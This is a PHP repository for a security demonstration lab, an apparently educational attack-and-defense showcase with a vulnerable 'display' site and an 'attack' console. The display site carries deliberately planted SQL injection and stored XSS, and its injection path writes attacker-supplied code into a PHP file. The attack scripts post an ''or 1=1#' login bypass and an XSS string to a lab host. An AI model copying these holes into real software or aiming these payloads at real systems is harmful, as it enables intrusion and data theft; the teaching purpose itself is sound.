| height: 277px; 63 | background: #ffffff; 64 | box-shadow: 0 0 4px #000000; 65 | border-radius: 7px; 66 | overflow: hidden !important; 67 | text-align: center; 68 | position: relative; 69 | } 70 | #loginbox form, #adminloginbox form, #admineditbox form { 71 | width:100%; 72 | height:100%; 73 | position:absolute; 74 | top:20; 75 | left:0; 76 | } 77 | #loginbox p, #adminloginbox p, #admineditbox p{ 78 | margin-top: 20px; 79 | padding: 0 20px; 80 | } 81 | .shake{ color:#F00;-webkit-animation: x-spin 1s ease both;-moz-animation: x-spin 1s ease both;-o-animation: x-spin 1s ease both;} 82 | .shake span{ color:#39F;} 83 | #loginbox .form-actions, #adminloginbox .form-actions, #admineditbox .form-actions{ 84 | padding: 14px 20px 15px; 85 | } 86 | .buttn:hover{background-position:0 -31px} 87 | .copyright{ font-size:12px; color: #999;} 88 | .copyright a{ text-decoration:none; color: #999;} 89 | .yaoqingmacont{border:2px dotted #bbb; background:#fff; border-radius:5px; box-shadow:1px 2px 5px #CCC; margin:20px; padding:15px; text-align:center;} 90 | .yaoqingmacont li{ padding:3px; border-bottom:1px solid #E2E2E2} 91 | @media (max-width: 480px){ 92 | #logo, #loginbox, #adminloginbox, #admineditbox{ 93 | width: 80%; 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /展示端/Adminpanel/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/展示端/Adminpanel/img/logo.png -------------------------------------------------------------------------------- /展示端/Adminpanel/img/saturation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/展示端/Adminpanel/img/saturation.png -------------------------------------------------------------------------------- /展示端/Adminpanel/loginout.php: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 | 注销成功! 8 | 9 | 10 |

11 |


12 |
13 |

注销成功!可以重新登录

14 |
15 | 16 | 33 | 34 | '; 35 | ?> -------------------------------------------------------------------------------- /展示端/Adminpanel/make.php: -------------------------------------------------------------------------------- 1 | 6 | 7 | 8 | 生成邀请码请先登录! 9 | 10 | 11 |

12 |


13 |
14 |

若要生成邀请码,请先登录

15 |
16 | 17 | 34 | 35 | '; 36 | exit(); 37 | } 38 | mt_srand((double) microtime() * 1000000); 39 | function gen_random_password($password_length = 30, $generated_password = ""){ //password_length 随机密码长度,默认10位 40 | $valid_characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; 41 | $chars_length = strlen($valid_characters) - 1; 42 | for($i = $password_length; $i--; ) { 43 | //$generated_password .= $valid_characters[mt_rand(0, $chars_length)]; 44 | 45 | $generated_password .= substr($valid_characters, (mt_rand()%(strlen($valid_characters))), 1); 46 | } 47 | return $generated_password; 48 | } 49 | 50 | $yaoqingma = gen_random_password(); 51 | $thetime = gmdate('Y-m-d H:i:s', time() + 3600 * 8); 52 | $sql = "insert into yaoqingma(yaoqingma,time) values('$yaoqingma','$thetime')"; 53 | ?> 54 | 55 | 56 | 57 | 58 | 生成展示系统邀请码 59 | 60 | 61 | 62 | 63 |
64 | 65 | 88 |

89 |
90 | 91 |
92 |
    93 | 99 |
  1. 100 | 101 |
102 |
    103 | 108 |
  1. 109 | 110 |
111 | 112 | 113 |
114 | 115 | -------------------------------------------------------------------------------- /展示端/Adminpanel/yaoqingma.php: -------------------------------------------------------------------------------- 1 | 6 | 7 | 8 | 生成邀请码请先登录! 9 | 10 | 11 | 12 | 13 |
14 |
温馨提示X
15 |
16 |

若要生成邀请码,请先登录

17 |
18 | Copyright © 2017.环宇繁星科技有限公司Wind Punish安全实验室 All rights reserved. 19 |
20 | 37 | 38 | '; 39 | exit(); 40 | } 41 | mt_srand((double) microtime() * 1000000); 42 | function gen_random_password($password_length = 30, $generated_password = ""){ //password_length 随机密码长度,默认10位 43 | $valid_characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; 44 | $chars_length = strlen($valid_characters) - 1; 45 | for($i = $password_length; $i--; ) { 46 | //$generated_password .= $valid_characters[mt_rand(0, $chars_length)]; 47 | 48 | $generated_password .= substr($valid_characters, (mt_rand()%(strlen($valid_characters))), 1); 49 | } 50 | return $generated_password; 51 | } 52 | 53 | $yaoqingma = gen_random_password(); 54 | $thetime = gmdate('Y-m-d H:i:s', time() + 3600 * 8); 55 | $sql = "insert into yaoqingma(yaoqingma,time) values('$yaoqingma','$thetime')"; 56 | ?> 57 | 58 | 59 | 60 | 61 | 生成展示系统邀请码 62 | 63 | 64 | 65 | 66 |
67 | 88 |
89 | 90 |
91 |
    92 | 97 |
  1. 98 | 99 |
100 |
    101 | 106 |
  1. 107 | 108 |
109 | 110 | 111 |
112 | 113 | -------------------------------------------------------------------------------- /展示端/adminpanel.sql: -------------------------------------------------------------------------------- 1 | -- phpMyAdmin SQL Dump 2 | -- version phpStudy 2014 3 | -- http://www.phpmyadmin.net 4 | -- 5 | -- 主机: localhost 6 | -- 生成日期: 2017 年 08 月 23 日 12:23 7 | -- 服务器版本: 5.5.53 8 | -- PHP 版本: 5.4.45 9 | 10 | SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO"; 11 | SET time_zone = "+00:00"; 12 | 13 | 14 | /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; 15 | /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; 16 | /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; 17 | /*!40101 SET NAMES utf8 */; 18 | 19 | -- 20 | -- 数据库: `adminpanel` 21 | -- 22 | 23 | -- -------------------------------------------------------- 24 | 25 | -- 26 | -- 表的结构 `admin` 27 | -- 28 | 29 | CREATE TABLE IF NOT EXISTS `admin` ( 30 | `id` int(11) NOT NULL AUTO_INCREMENT, 31 | `username` varchar(35) COLLATE utf8_unicode_ci NOT NULL, 32 | `password` char(32) COLLATE utf8_unicode_ci NOT NULL, 33 | `dengluma` varchar(35) COLLATE utf8_unicode_ci NOT NULL, 34 | PRIMARY KEY (`id`), 35 | UNIQUE KEY `username` (`username`) 36 | ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci AUTO_INCREMENT=2 ; 37 | 38 | -- 39 | -- 转存表中的数据 `admin` 40 | -- 41 | 42 | INSERT INTO `admin` (`id`, `username`, `password`, `dengluma`) VALUES 43 | (1, 'admin', '0c7540eb7e65b553ec1ba6b20de79608', '123456'); 44 | 45 | -- -------------------------------------------------------- 46 | 47 | -- 48 | -- 表的结构 `yaoqingma` 49 | -- 50 | 51 | CREATE TABLE IF NOT EXISTS `yaoqingma` ( 52 | `id` int(11) NOT NULL AUTO_INCREMENT, 53 | `yaoqingma` text COLLATE utf8_unicode_ci NOT NULL, 54 | `status` tinyint(1) NOT NULL DEFAULT '0', 55 | `time` datetime NOT NULL, 56 | PRIMARY KEY (`id`), 57 | KEY `id` (`id`) 58 | ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci AUTO_INCREMENT=14 ; 59 | 60 | -- 61 | -- 转存表中的数据 `yaoqingma` 62 | -- 63 | 64 | INSERT INTO `yaoqingma` (`id`, `yaoqingma`, `status`, `time`) VALUES 65 | (1, 'yaoqingma', 0, '2013-07-04 14:29:00'); 66 | 67 | /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; 68 | /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; 69 | /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; 70 | -------------------------------------------------------------------------------- /展示端/af89c2ab0ebed7db/conn.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/展示端/af89c2ab0ebed7db/conn.php -------------------------------------------------------------------------------- /展示端/af89c2ab0ebed7db/edit.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 牛顿信息安全攻防展示系统-展示端 5 | 6 | 7 | 8 | 9 | 10 | 11 | 17 | 18 |
19 |
20 |

新建页面:

21 | 22 |

23 | 24 | 25 | 26 |
27 |
28 | 29 | 32 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /展示端/af89c2ab0ebed7db/hack.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /展示端/af89c2ab0ebed7db/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 牛顿信息安全攻防展示系统-展示端 6 | 7 | 8 | 9 | 10 | 11 | 12 | 18 | 19 |
20 | 21 | 22 |

23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 |
服务器参数
服务器域名/IP地址()
服务器操作系统  内核版本:服务器解译引擎
服务器语言服务器端口
服务器主机名绝对路径
48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 |
数据库存储的客户信息
57 | 58 | "; 75 | } 76 | ?> 77 |
idNameAgeSexpasswordphonemoney
$id$name$age$sex$password$phone$money
78 | 79 | 80 | 81 | 82 | 85 | 86 |
87 | 88 | -------------------------------------------------------------------------------- /展示端/af89c2ab0ebed7db/liuyan.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 牛顿信息安全攻防展示系统-展示端 5 | 6 | 7 | 8 | 9 | 10 | 11 | 17 | 18 |
19 |
20 |

留言内容:

21 | 22 |
23 |
24 | 您的名字:
25 |     26 | 27 |
28 | 29 | "; 44 | } 45 | fclose($read); 46 | } 47 | ?> 48 | 49 | 52 | 53 |
54 | 55 | -------------------------------------------------------------------------------- /展示端/af89c2ab0ebed7db/makepage.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 牛顿信息安全攻防展示系统-展示端 5 | 6 | 7 | 8 | 9 | 10 | 11 | 17 | 18 |
19 |




"; 24 | exit('非法访问!'); 25 | } 26 | $code = $_POST['code']; 27 | $username = $_POST['user']; //制造SQL注入条件 28 | $password = $_POST['password']; //制造SQL注入条件 29 | 30 | //检测用户名及密码是否正确 31 | $sql = "select * from sqltest where name ='$username' and password ='$password'"; //制造SQL注入条件 32 | $result = mysqli_query($conn, $sql); 33 | $rownum = mysqli_num_rows($result); 34 | if($rownum) 35 | { 36 | $fp = fopen("hack.php", "w"); 37 | $First = ""; 39 | $code = $First.$code.$Last; 40 | fwrite($fp, $code, strlen($code)); 41 | echo "





"; 42 | echo "

Havk a look

"; 43 | } 44 | else 45 | { 46 | echo "





"; 47 | exit('登录失败!点击此处 返回 重试'); 48 | } 49 | ?> 50 |
51 | 52 | 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /展示端/af89c2ab0ebed7db/style.css: -------------------------------------------------------------------------------- 1 | * {font-family: Tahoma, "Microsoft Yahei", Arial; } 2 | body{text-align: center; margin: 0 auto; padding: 0; background-color:#FFFFFF;font-size:16px;font-family:Tahoma, Arial} 3 | h1 {font-size: 40px; font-weight: normal; padding: 0; margin: 0; color: #444444;} 4 | h1 small {font-size: 20px; font-family: Tahoma; font-weight: bold; } 5 | a{color: #000000; text-decoration:none;} 6 | a.black{color: #000000; text-decoration:none;} 7 | b{color: #999999;} 8 | .clear{clear:both;height:1px;width:100%; overflow:hidden; margin-top:-1px} 9 | .pd5{ padding-top:5px} 10 | ul#nav{ width:97%; height:60px; background:#353638;margin:0 auto} 11 | ul#nav li{display:inline; height:60px} 12 | ul#nav li a{display:inline-block; padding:0 20px; height:60px; line-height:60px; 13 | color:#FFF; font-family:"\5FAE\8F6F\96C5\9ED1"; font-size:16px} 14 | ul#nav li a:hover{background:#0095BB} 15 | ul#nav{ text-align:center } 16 | table{clear:both;padding: 0; margin: 0 0 10px;border-collapse:collapse; border-spacing: 0;} 17 | th{padding: 3px 6px; font-weight:bold;background:#353638;color:#FFFFFF;border:1px solid #353638; text-align:left;} 18 | .th_1{padding: 3px 6px; font-weight:bold;background:#666699;color:#FFFFFF;border:1px solid #353638; text-align:left;} 19 | 20 | tr{padding: 0; background:#F7F7F7;} 21 | td{padding: 3px 6px; border:1px solid #CCCCCC;} 22 | input{padding: 2px; background: #FFFFFF; border-top:1px solid #666666; border-left:1px solid #666666; border-right:1px solid #CCCCCC; border-bottom:1px solid #CCCCCC; font-size:12px} 23 | input.btn{font-weight: bold; height: 20px; line-height: 20px; padding: 0 6px; color:#666666; background: #f2f2f2; border:1px solid #999;font-size:12px} 24 | .bar {border:1px solid #999999; background:#FFFFFF; height:5px; font-size:2px; width:89%; margin:2px 0 5px 0;padding:1px;overflow: hidden;} 25 | .bar_1 {border:1px dotted #999999; background:#FFFFFF; height:5px; font-size:2px; width:89%; margin:2px 0 5px 0;padding:1px;overflow: hidden;} 26 | .barli_red{background:#ff6600; height:5px; margin:0px; padding:0;} 27 | .barli_blue{background:#0099FF; height:5px; margin:0px; padding:0;} 28 | .barli_green{background:#36b52a; height:5px; margin:0px; padding:0;} 29 | .barli_1{background:#999999; height:5px; margin:0px; padding:0;} 30 | .barli{background:#36b52a; height:5px; margin:0px; padding:0;} 31 | #page {width: 720px; padding: 0 20px; margin: 0 auto; text-align: left;} 32 | #header{position: relative; padding: 10px;} 33 | #footer {padding: 15px 15px; text-align: left; font-size: 12px; font-family: Tahoma, Verdana;line-height:16px} 34 | #lnmplink {position: absolute; top: 20px; left: 200px; text-align: right; font-weight: bold; color: #06C;} 35 | #lnmplink a {color: #0000FF; text-decoration: underline;} 36 | #lnmplink2 {position: absolute; top: 20px; right: 80px; text-align: right; font-weight: bold; color: #06C;} 37 | #lnmplink2 a {color: #0000FF; text-decoration: underline;} 38 | .w_small{font-family: Courier New;} 39 | .w_number{color: #f800fe;} 40 | .sudu {padding: 0; background:#5dafd1; } 41 | .suduk { margin:0px; padding:0;} 42 | .resNo{color: #FF0000;} 43 | .word{word-break:break-all;} -------------------------------------------------------------------------------- /展示端/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 请使用邀请码 6 | 7 | 8 | 9 | 10 | 15 | 16 | -------------------------------------------------------------------------------- /展示端/show.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/展示端/show.jpg -------------------------------------------------------------------------------- /展示端/test.sql: -------------------------------------------------------------------------------- 1 | -- phpMyAdmin SQL Dump 2 | -- version phpStudy 2014 3 | -- http://www.phpmyadmin.net 4 | -- 5 | -- 主机: localhost 6 | -- 生成日期: 2017 年 08 月 23 日 12:23 7 | -- 服务器版本: 5.5.53 8 | -- PHP 版本: 5.4.45 9 | 10 | SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO"; 11 | SET time_zone = "+00:00"; 12 | 13 | 14 | /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; 15 | /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; 16 | /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; 17 | /*!40101 SET NAMES utf8 */; 18 | 19 | -- 20 | -- 数据库: `test` 21 | -- 22 | 23 | -- -------------------------------------------------------- 24 | 25 | -- 26 | -- 表的结构 `sqltest` 27 | -- 28 | 29 | CREATE TABLE IF NOT EXISTS `sqltest` ( 30 | `id` int(4) NOT NULL, 31 | `name` varchar(10) CHARACTER SET utf8 NOT NULL, 32 | `age` int(4) NOT NULL, 33 | `sex` varchar(5) CHARACTER SET utf8 NOT NULL, 34 | `password` varchar(10) CHARACTER SET utf8 NOT NULL, 35 | `phone` int(4) NOT NULL, 36 | `money` int(4) NOT NULL 37 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1; 38 | 39 | -- 40 | -- 转存表中的数据 `sqltest` 41 | -- 42 | 43 | INSERT INTO `sqltest` (`id`, `name`, `age`, `sex`, `password`, `phone`, `money`) VALUES 44 | (1, 'WangSu', 19, 'Man', '99766a45', 87653204, 500000), 45 | (2, 'Ziwen', 19, 'Man', '123456ziwe', 88786530, 1000000), 46 | (3, '李总', 27, 'Woman', 'TAIZIUUU&', 0, 10000), 47 | (4, '刘董', 30, 'Man', 'ILOVEXXX', 0, 90000); 48 | 49 | /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; 50 | /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; 51 | /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; 52 | -------------------------------------------------------------------------------- /攻击端/css/background.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/攻击端/css/background.jpg -------------------------------------------------------------------------------- /攻击端/css/reset.css: -------------------------------------------------------------------------------- 1 | html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canvas,details,embed,figure,figcaption,footer,header,hgroup,menu,nav,output,ruby,section,summary,time,mark,audio,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:before,blockquote:after,q:before,q:after{content:'';content:none}table{border-collapse:collapse;border-spacing:0} 2 | -------------------------------------------------------------------------------- /攻击端/css/style.css: -------------------------------------------------------------------------------- 1 | body { 2 | background: url(background.jpg); 3 | } 4 | 5 | .radmenu { 6 | position: absolute; 7 | display: flex; 8 | align-items: center; 9 | justify-content: center; 10 | width: 100%; 11 | height: 100%; 12 | } 13 | .radmenu > a { 14 | top: calc(50% - 60px); 15 | left: calc(50% - 60px); 16 | } 17 | .radmenu > a.show { 18 | display: flex !important; 19 | } 20 | .radmenu li { 21 | -webkit-transform: translate3d(0, 0, 0); 22 | transform: translate3d(0, 0, 0); 23 | transition: all 1s ease; 24 | } 25 | .radmenu a { 26 | position: absolute; 27 | width: 120px; 28 | height: 120px; 29 | background: rgba(255, 255, 255, 0.9); 30 | text-align: center; 31 | align-items: center; 32 | justify-content: center; 33 | border-radius: 120px; 34 | display: none; 35 | text-decoration: none; 36 | color: #333; 37 | transition: all 1s ease; 38 | box-shadow: 0 0 15px #222; 39 | font-family: "segoe ui"; 40 | font-weight: 200; 41 | font-size: 16px; 42 | } 43 | .radmenu .selected { 44 | background: rgba(51, 51, 51, 0.9); 45 | display: flex; 46 | top: calc(50% - 60px); 47 | left: calc(50% - 60px); 48 | color: #f1f1f1; 49 | box-shadow: 0 0 10px #f1f1f1; 50 | } 51 | .radmenu .selected + ul > li:nth-child(1) { 52 | -webkit-transform: rotate(72deg) translateX(100px); 53 | transform: rotate(72deg) translateX(100px); 54 | } 55 | .radmenu .selected + ul > li:nth-child(1) > a { 56 | -webkit-transform: rotate(-72deg); 57 | transform: rotate(-72deg); 58 | } 59 | .radmenu .selected + ul > li:nth-child(2) { 60 | -webkit-transform: rotate(144deg) translateX(100px); 61 | transform: rotate(144deg) translateX(100px); 62 | } 63 | .radmenu .selected + ul > li:nth-child(2) > a { 64 | -webkit-transform: rotate(-144deg); 65 | transform: rotate(-144deg); 66 | } 67 | .radmenu .selected + ul > li:nth-child(3) { 68 | -webkit-transform: rotate(216deg) translateX(100px); 69 | transform: rotate(216deg) translateX(100px); 70 | } 71 | .radmenu .selected + ul > li:nth-child(3) > a { 72 | -webkit-transform: rotate(-216deg); 73 | transform: rotate(-216deg); 74 | } 75 | .radmenu .selected + ul > li:nth-child(4) { 76 | -webkit-transform: rotate(288deg) translateX(100px); 77 | transform: rotate(288deg) translateX(100px); 78 | } 79 | .radmenu .selected + ul > li:nth-child(4) > a { 80 | -webkit-transform: rotate(-288deg); 81 | transform: rotate(-288deg); 82 | } 83 | .radmenu .selected + ul > li:nth-child(5) { 84 | -webkit-transform: rotate(360deg) translateX(100px); 85 | transform: rotate(360deg) translateX(100px); 86 | } 87 | .radmenu .selected + ul > li:nth-child(5) > a { 88 | -webkit-transform: rotate(-360deg); 89 | transform: rotate(-360deg); 90 | } 91 | .radmenu .selected + ul > li > a { 92 | display: flex; 93 | } 94 | -------------------------------------------------------------------------------- /攻击端/font/loginform-icon.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/攻击端/font/loginform-icon.eot -------------------------------------------------------------------------------- /攻击端/font/loginform-icon.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Created by FontForge 20100429 at Wed Feb 20 10:42:27 2013 6 | By root 7 | Copyright (C) 2012 by original authors @ fontello.com 8 | 9 | 10 | 11 | 25 | 27 | 29 | 31 | 33 | 35 | 38 | 41 | 42 | 43 | -------------------------------------------------------------------------------- /攻击端/font/loginform-icon.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/攻击端/font/loginform-icon.ttf -------------------------------------------------------------------------------- /攻击端/font/loginform-icon.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/攻击端/font/loginform-icon.woff -------------------------------------------------------------------------------- /攻击端/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 牛顿信息安全攻防展示系统-攻击端 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 |
19 |
START 20 | 38 |
39 | 40 | 41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /攻击端/js/index.js: -------------------------------------------------------------------------------- 1 | var buttons = document.querySelectorAll(".radmenu a"); 2 | 3 | var t = Math.random(); 4 | 5 | function loadJS(script){ 6 | var src = script +'?r='+t ; 7 | var script_dom = document.createElement('script'); 8 | script_dom.src = src; 9 | script_dom.language = 'javascript'; 10 | script_dom.type = 'text/javascript'; 11 | var head = document.getElementsByTagName('head').item(0); 12 | head.appendChild(script_dom); 13 | } 14 | 15 | buttons[0].onclick = setSelected_Start; //启动圈 16 | buttons[1].onclick = setSelected1; 17 | buttons[2].onclick = setSelected2; 18 | buttons[3].onclick = setSelected3; 19 | buttons[4].onclick = setSelected4; 20 | buttons[5].onclick = setSelected5; 21 | 22 | function setSelected1(e) { 23 | if(this.classList.contains("selected")) 24 | { 25 | this.classList.remove("selected"); 26 | } 27 | else 28 | { 29 | 30 | window.open("put.php"); 31 | } 32 | return false; 33 | } 34 | 35 | function setSelected2(e) { 36 | if(this.classList.contains("selected")) 37 | { 38 | this.classList.remove("selected"); 39 | } 40 | else 41 | { 42 | loadJS("paths.js"); 43 | url = "http://"; 44 | url += host; 45 | url += "/"; 46 | url += yaoqingma; 47 | url += "/hack.php"; 48 | window.open(url); 49 | } 50 | return false; 51 | } 52 | 53 | function setSelected3(e) { 54 | if(this.classList.contains("selected")) 55 | { 56 | this.classList.remove("selected"); 57 | } 58 | else 59 | { 60 | 61 | window.open("put_liuyan.php"); 62 | } 63 | return false; 64 | } 65 | 66 | function setSelected4(e) { 67 | if(this.classList.contains("selected")) 68 | { 69 | this.classList.remove("selected"); 70 | } 71 | else 72 | { 73 | 74 | window.open("set.php"); 75 | } 76 | return false; 77 | } 78 | 79 | function setSelected5(e) { 80 | if(this.classList.contains("selected")) 81 | { 82 | this.classList.remove("selected"); 83 | } 84 | else 85 | { 86 | 87 | window.open(""); 88 | } 89 | return false; 90 | } 91 | 92 | function setSelected_Start(e) { 93 | if(this.classList.contains("selected")) 94 | { 95 | this.classList.remove("selected"); 96 | } 97 | else 98 | { 99 | this.classList.add("selected"); 100 | } 101 | return false; 102 | } -------------------------------------------------------------------------------- /攻击端/js/paths.js: -------------------------------------------------------------------------------- 1 | var host = '192.168.183.131';var yaoqingma = 'xa4yma2DI08gr5ldfK8fhLlAfLe4NI'; -------------------------------------------------------------------------------- /攻击端/js/prefixfree.min.js: -------------------------------------------------------------------------------- 1 | /** 2 | * StyleFix 1.0.3 & PrefixFree 1.0.7 3 | * @author Lea Verou 4 | * MIT license 5 | */(function(){function t(e,t){return[].slice.call((t||document).querySelectorAll(e))}if(!window.addEventListener)return;var e=window.StyleFix={link:function(t){try{if(t.rel!=="stylesheet"||t.hasAttribute("data-noprefix"))return}catch(n){return}var r=t.href||t.getAttribute("data-href"),i=r.replace(/[^\/]+$/,""),s=t.parentNode,o=new XMLHttpRequest,u;o.onreadystatechange=function(){o.readyState===4&&u()};u=function(){var n=o.responseText;if(n&&t.parentNode&&(!o.status||o.status<400||o.status>600)){n=e.fix(n,!0,t);if(i){n=n.replace(/url\(\s*?((?:"|')?)(.+?)\1\s*?\)/gi,function(e,t,n){return/^([a-z]{3,10}:|\/|#)/i.test(n)?e:'url("'+i+n+'")'});var r=i.replace(/([\\\^\$*+[\]?{}.=!:(|)])/g,"\\$1");n=n.replace(RegExp("\\b(behavior:\\s*?url\\('?\"?)"+r,"gi"),"$1")}var u=document.createElement("style");u.textContent=n;u.media=t.media;u.disabled=t.disabled;u.setAttribute("data-href",t.getAttribute("href"));s.insertBefore(u,t);s.removeChild(t);u.media=t.media}};try{o.open("GET",r);o.send(null)}catch(n){if(typeof XDomainRequest!="undefined"){o=new XDomainRequest;o.onerror=o.onprogress=function(){};o.onload=u;o.open("GET",r);o.send(null)}}t.setAttribute("data-inprogress","")},styleElement:function(t){if(t.hasAttribute("data-noprefix"))return;var n=t.disabled;t.textContent=e.fix(t.textContent,!0,t);t.disabled=n},styleAttribute:function(t){var n=t.getAttribute("style");n=e.fix(n,!1,t);t.setAttribute("style",n)},process:function(){t('link[rel="stylesheet"]:not([data-inprogress])').forEach(StyleFix.link);t("style").forEach(StyleFix.styleElement);t("[style]").forEach(StyleFix.styleAttribute)},register:function(t,n){(e.fixers=e.fixers||[]).splice(n===undefined?e.fixers.length:n,0,t)},fix:function(t,n,r){for(var i=0;i-1&&(e=e.replace(/(\s|:|,)(repeating-)?linear-gradient\(\s*(-?\d*\.?\d*)deg/ig,function(e,t,n,r){return t+(n||"")+"linear-gradient("+(90-r)+"deg"}));e=t("functions","(\\s|:|,)","\\s*\\(","$1"+s+"$2(",e);e=t("keywords","(\\s|:)","(\\s|;|\\}|$)","$1"+s+"$2$3",e);e=t("properties","(^|\\{|\\s|;)","\\s*:","$1"+s+"$2:",e);if(n.properties.length){var o=RegExp("\\b("+n.properties.join("|")+")(?!:)","gi");e=t("valueProperties","\\b",":(.+?);",function(e){return e.replace(o,s+"$1")},e)}if(r){e=t("selectors","","\\b",n.prefixSelector,e);e=t("atrules","@","\\b","@"+s+"$1",e)}e=e.replace(RegExp("-"+s,"g"),"-");e=e.replace(/-\*-(?=[a-z]+)/gi,n.prefix);return e},property:function(e){return(n.properties.indexOf(e)?n.prefix:"")+e},value:function(e,r){e=t("functions","(^|\\s|,)","\\s*\\(","$1"+n.prefix+"$2(",e);e=t("keywords","(^|\\s)","(\\s|$)","$1"+n.prefix+"$2$3",e);return e},prefixSelector:function(e){return e.replace(/^:{1,2}/,function(e){return e+n.prefix})},prefixProperty:function(e,t){var r=n.prefix+e;return t?StyleFix.camelCase(r):r}};(function(){var e={},t=[],r={},i=getComputedStyle(document.documentElement,null),s=document.createElement("div").style,o=function(n){if(n.charAt(0)==="-"){t.push(n);var r=n.split("-"),i=r[1];e[i]=++e[i]||1;while(r.length>3){r.pop();var s=r.join("-");u(s)&&t.indexOf(s)===-1&&t.push(s)}}},u=function(e){return StyleFix.camelCase(e)in s};if(i.length>0)for(var a=0;a array( 7 | 'method' => 'POST', 8 | 'header' => 'Content-type:application/x-www-form-urlencoded', 9 | 'content' => $postdata, 10 | 'timeout' => 15 * 60 // 超时时间(单位:s) 11 | ) 12 | ); 13 | $context = stream_context_create($options); 14 | $result = file_get_contents($url, false, $context); 15 | return $result; 16 | } 17 | $tt = time(); 18 | $time = date('y-m-d h:i:s a', $tt); 19 | $content = 'Hack you '.$time.'!'; 20 | $post_data = array( 21 | 'code' => $content, 22 | 'user' => '\'or 1=1#', 23 | 'password' => 'dengwo', 24 | 'submit' => 'submit', 25 | ); 26 | include_once("store.php"); 27 | $url = "http://"."$host"."/"."$yaoqingma"."/"."makepage.php"; 28 | $ans = send_post($url, $post_data); 29 | #echo $ans; 30 | 31 | ?> 32 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /攻击端/put_liuyan.php: -------------------------------------------------------------------------------- 1 | array( 7 | 'method' => 'POST', 8 | 'header' => 'Content-type:application/x-www-form-urlencoded', 9 | 'content' => $postdata, 10 | 'timeout' => 15 * 60 // 超时时间(单位:s) 11 | ) 12 | ); 13 | $context = stream_context_create($options); 14 | $result = file_get_contents($url, false, $context); 15 | return $result; 16 | } 17 | $tt = time(); 18 | $time = date('y-m-d h:i:s a', $tt); 19 | $XSS = "aaaaaaaaa"; 20 | $content = "$XSS"."$time"."!"; 21 | $post_data = array( 22 | 'desc' => $content, 23 | 'user' => "黑帽子黑客", 24 | 'submit' => 'submit', 25 | ); 26 | include_once("store.php"); 27 | $url = "http://"."$host"."/"."$yaoqingma"."/"."liuyan.php"; 28 | $ans = send_post($url, $post_data); 29 | #echo 